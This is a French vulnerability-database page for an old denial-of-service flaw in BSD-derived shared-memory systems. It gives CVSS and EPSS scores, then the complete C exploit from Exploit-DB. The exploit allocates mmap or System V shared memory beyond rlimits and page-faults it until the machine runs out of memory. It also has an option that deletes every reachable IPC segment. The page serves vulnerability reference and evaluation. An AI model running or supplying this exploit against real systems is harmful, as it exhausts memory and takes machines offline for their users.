CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Operating systems with shared memory implementations based on BSD 4.4 code allow a user to conduct a denial of service and bypass memory limits (e.g., as specified with rlimits) using mmap or shmget to allocate memory and cause page faults.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
0.58%
–
2023-10-01
–
–
–
0.58%
–
2024-02-11
–
–
–
0.58%
–
2024-03-03
–
–
–
0.58%
–
2024-06-02
–
–
–
0.58%
–
2024-09-15
–
–
–
0.58%
–
2024-09-22
–
–
–
0.58%
–
2024-11-03
–
–
–
0.58%
–
2024-12-22
–
–
–
0.5%
–
2025-02-16
–
–
–
0.5%
–
2025-01-19
–
–
–
0.5%
–
2025-02-16
–
–
–
0.5%
–
2025-03-18
–
–
–
–
4.47%
2025-05-02
–
–
–
–
4.47%
2025-05-04
–
–
–
–
4.47%
2025-05-18
–
–
–
–
4.47%
2025-05-18
–
–
–
–
4.47,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 1999-07-14 22h00 +00:00 Auteur : Mike Perry EDB Vérifié : Yes
/*
source: https://www.securityfocus.com/bid/526/info
Operating systems with a shared memory implementation based on or influenced by the 4.4BSD code may be vulnerable to a denial of service attack The problem exists because you can mmap() or shmget() as much memory as you'd like bypassing rlimits. When you trigger pagefaults, the system will begin allocating the memory (it's not actually allocated at first) and run out. With System V IPC the memory remains allocated even after the process has stopped running.
*/
/*
* This program can be used to exploit DoS bugs in the VM systems or utility
* sets of certain OS's.
*
* Common problems:
* 1. The system does not check rlimits for mmap and shmget (FreeBSD)
* 2. The system never bothers to offer the ability to set the rlimits for
* virtual memory via shells, login process, or otherwise. (Linux)
* 3. b. The system does not actually allocate shared memory until a page fault
* is triggered (this could be argued to be a feature - Linux, *BSD)
* a. The system does not watch to make sure you don't share more memory
* than exists. (Linux, Irix, BSD?)
* 4. With System V IPC, shared memory persists even after the process is
* gone. So even though the kernel may kill the process after it exhausts all
* memory from page faults, there still is 0 memory left for the system.
* (All)
*
* This program should compile on any architecture. SGI Irix is not
* vulnerable. From reading The Design and Implementation of 4.4BSD it sounds
* as if the BSDs should all be vulnerable. FreeBSD will mmap as much memory
* as you tell it. I haven't tried page faulting the memory, as the system is
* not mine. I'd be very interested to hear about OpenBSD...
*
* This program is provided for vulnerability evaluation ONLY. DoS's aren't
* cool, funny, or anything else. Don't use this on a machine that isn't
* yours!!!
*/
#include <stdio.h>
#include <errno.h>
#include <sys/ipc.h>
#include <sys/shm.h> /* redefinition of LBA.. PAGE_SIZE in both cases.. */
#ifdef __linux__
#include <asm/shmparam.h>
#include <asm/page.h>
#endif
#include <sys/types.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <sys/mman.h>
int len;
#define __FUXX0R_MMAP__
/* mmap also implements the copy-on-fault mechanism, but because the only way
* to easily exploit this is to use anonymous mappings, once the kernel kills
* the offending process, you can recover. (Although swap death may still
* occurr */
/* #define __FUXX0R_MMAP__ */
/* Most mallocs use mmap to allocate large regions of memory. */
/* #define __FUXX0R_MMAP_MALLOC__ */
/* Guess what this option does :) */
#define __REALLY_FUXX0R__
/* From glibc 2.1.1 malloc/malloc.c */
#define DEFAULT_MMAP_THRESHOLD (128 * 1024)
#ifndef PAGE_SIZE
# define PAGE_SIZE 4096
#endif
#ifndef SHMSEG
# define SHMSEG 256
#endif
#if defined(__FUXX0R_MMAP_MALLOC__)
void *mymalloc(int n)
{
if(n <= DEFAULT_MMAP_THRESHOLD)
n = DEFAULT_MMAP_THRESHOLD + 1;
return malloc(n);
}
void myfree(void *buf)
{
free(buf);
}
#elif defined(__FUXX0R_MMAP__)
void *mymalloc(int n)
{
int fd;
void *ret;
fd = open("/dev/zero", O_RDWR);
ret = mmap(0, n, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
close(fd);
return (ret == (void *)-1 ? NULL : ret);
}
void myfree(void *buf)
{
munmap(buf, len);
}
#elif defined(__FUXX0R_SYSV__)
void *mymalloc(int n)
{
char *buf;
static int i = 0;
int shmid;
i++; /* 0 is IPC_PRIVATE */
if((shmid = shmget(i, n, IPC_CREAT | SHM_R | SHM_W)) == -1)
{
#if defined(__irix__)
if (shmctl (shmid, IPC_RMID, NULL))
{
perror("shmctl");
}
#endif
return NULL;
}
if((buf = shmat(shmid, 0, 0)) == (char *)-1)
{
#if defined(__irix__)
if (shmctl (shmid, IPC_RMID, NULL))
{
perror("shmctl");
}
#endif
return NULL;
}
#ifndef __REALLY_FUXX0R__
if (shmctl (shmid, IPC_RMID, NULL))
{
perror("shmctl");
}
#endif
return buf;
}
void myfree(void *buf)
{
shmdt(buf);
}
#endif
#ifdef __linux__
void cleanSysV()
{
struct shmid_ds shmid;
struct shm_info shm_info;
int id;
int maxid;
int ret;
int shid;
maxid = shmctl (0, SHM_INFO, (struct shmid_ds *) &shm_info);
printf("maxid %d\n", maxid);
for (id = 0; id <= maxid; id++)
{
if((shid = shmctl (id, SHM_STAT, &shmid)) < 0)
continue;
if (shmctl (shid, IPC_RMID, NULL))
{
perror("shmctl");
}
printf("id %d has %d attachments\n", shid, shmid.shm_nattch);
shmid.shm_nattch = 0;
shmctl(shid, IPC_SET, &shmid);
if(shmctl(shid, SHM_STAT, &shmid) < 0)
{
printf("id %d deleted sucessfully\n", shid);
}
else if(shmid.shm_nattch == 0)
{
printf("Still able to stat id %d, but has no attachments\n", shid);
}
else
{
printf("Error, failed to remove id %d!\n", shid);
}
}
}
#endif
int main(int argc, char **argv)
{
int shmid;
int i = 0;
char *buf[SHMSEG * 2];
int max;
int offset;
if(argc < 2)
{
printf("Usage: %s <[0x]size of segments>\n", argv[0]);
#ifdef __linux__
printf(" or %s --clean (destroys all of IPC space you have permissions to)\n", argv[0]);
#endif
exit(0);
}
#ifdef __linux__
if(!strcmp(argv[1], "--clean"))
{
cleanSysV();
exit(0);
}
#endif
len = strtol(argv[1], NULL, 0);
for(buf[i] = mymalloc(len); i < SHMSEG * 2 && buf[i] != NULL; buf[++i] = mymalloc(len))
;
max = i;
perror("Stopped because");
printf("Maxed out at %d %d byte segments\n", max, len);
#if defined(__FUXX0R_SYSV__) && defined(SHMMNI)
printf("Despite an alleged max of %d (%d per proc) %d byte segs. (Page "
"size: %d), \n", SHMMNI, SHMSEG, SHMMAX, PAGE_SIZE);
#endif
#ifdef __REALLY_FUXX0R__
fprintf(stderr, "Page faulting alloced region... Have a nice life!\n");
for(i = 0; i < max; i++)
{
for(offset = 0; offset < len; offset += PAGE_SIZE)
{
buf[i][offset] = '*';
}
printf("wrote to %d byes of memory, final offset %d\n", len, offset);
}
// never reached :(
#else
for(i = 0; i <= max; i++)
{
myfree(buf[i]);
}
#endif
exit(42);
}